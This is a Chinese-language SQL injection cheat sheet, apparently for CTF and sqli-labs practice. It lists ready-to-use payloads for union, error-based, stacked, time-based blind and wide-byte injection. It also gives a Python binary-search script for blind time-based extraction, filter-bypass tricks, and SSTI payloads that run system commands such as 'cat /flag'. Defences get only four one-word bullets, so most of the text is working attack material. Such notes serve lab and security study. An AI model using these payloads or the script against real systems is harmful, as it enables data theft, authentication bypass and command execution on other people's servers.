目录
1.原理
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统(违背了“数据与代码分离”的原则)
2.危害
1.盗取网站的敏感信息
2.绕过网站后台认证
3.借助SQL注入漏洞提权获取系统权限
4.读取文件信息
3.防御
*限制数据类型
*预编译语句
*函数过滤转义
*正则表达式匹配传入参数
4.常见类型注入步骤
-
Union注入
(1)?id= admin' and 1=1#
?id= admin' and 1=2# 判断是否有注入点
(2)?id=admin' order by 3#通过是否报错判断当前表有多少列
(3)?id=-1'union select 1,2,3#判断哪个位置有回显,前面要为空或者一个不存在的用户,这样会执行后面的语句
(4)?id=-1'union select 1,database(),3#显示数据库名"geek"---例子
(5)'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='geek'),3#利用group_concat函数显示表名emails,information_schema.tables是记录所有表名的表(默认存在)
(6)?id='union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='geek' and table_name='emails'),3#利用group_concat函数显示列名password
(7)?id='union select 1,(select group_concat(password) from users),3#显示password那一列的内容
Tip:union函数:将多个查询结果合并,去除重复信息
-
报错注入
'and extractvalue('div',concat('~',database()))# 获取数据库名
' and updatexml('div', concat('~',database()), 'hi')#获取数据库名
' and extractvalue('div', concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))# 获取表名
' and extractvalue('div', concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails')))# 获取列名
' and extractvalue('div', concat('~',(select email_id from emails limit 0,1)))#获取某列数据
-
堆叠注入
堆叠注入知识:
command1;command2 顺序执行
command1 || command2 如果command1执行失败,则执行command2(这||是逻辑或)
command1 && command2 如果command1执行成功,则执行command2当select被屏蔽的情况下:
-1';show databases;查数据库
-1';show tables;查表
-1';show columns from words;查列
-1';show columns from `1919810931114514`;当表名为数字要用反引号
-
时间注入
-1'and if(length(database())>=9,sleep(5),1)#
上面这行语句的意思是,如果数据库库名长度大于等于9,则MySQL查询休眠5秒,否则查询1,而查询1的时间极短,那么就可以通过反应时间的长短来判断数据库名的长度,
-1' and if(substr(database(),1,1)='t',sleep(5),1)#
判断数据库第一个名字是否为"t",利用bp暴破即可得到完整数据库名
以下是利用二分查找的时间注入python脚本
import time
import socket
import requests
import requests.packages.urllib3.util.connection as urllib3_conn
#强制使用ipv4
#requests库解析localhost时,会优先尝试ipv6,需要花费额外的2s时间,所以强制ipv4
urllib3_conn.allowed_gai_family = lambda : socket.AF_INET
session = requests.Session()
def getDatabase():
results= []
for i in range(1,1000):
print(f'{i}...')
start = -1
end =255
mid =-1
while start < end:
mid =(start + end )//2
url ="http://localhost/sqli-labs/Less-9/"
params ={"id":f"6' and if(ascii(substr(database(),{i},1))>{mid},sleep(1),1)#"}
ret =session.get(url,params=params)
assert ret.status_code == 200,f'code:{ret.status_code}'
assert'429 Too Many Requests' not in ret.text
if ret.elapsed.total_seconds() >=1:
start =mid +1
else:
end =mid
time.sleep(0.05)
if mid==-1:
break
results.append(chr(start))
print(''.join(results))
return ''.join(results)
begin = time.time()
getDatabase()
print(f'time spend: {time.time() - begin}')
-
ssti模板注入
原理:如果用户输入作为模板当中变量的值,模板引擎一般会对用户输入进行编码转义,不容易造成XSS攻击。 但是如果用户输入作为模板内容 的一部分,用户输入会原样输出
可通过上图及回显判断模板之后可在其中加入系统命令来获取信息
{{system('ls')}} //查询目录
{system('cat /flag')} //查询flag文件夹
-
宽字节注入
问题:单引号被转义(前面加了个 \ )
例:%df%5c表示的是“連"字,而%5c刚好是\的编码
如果查表名引号被转义,用burpsuite的Decoder---->Encode as----->ASCII hex---转16进制
5.过滤手段
1.大小写绕过: And=and
2.双写关键词绕过: anandd ==and
3.空格绕过: /**/ () %0a ` tab
4and和or,=绕过: &&表示and , ||表示or, like 表示 =
5.过滤逗号:select substr('abc',1,1); => select substr('abc' from 1 for 1);
6.函数名绕过:sleep() => benchmark() ascii() =>ord()
7.#绕过(闭合单引号或者双引号): where id ='1' and 1=1#' => where id ='1' and '1' ='1' 或者用%3b%00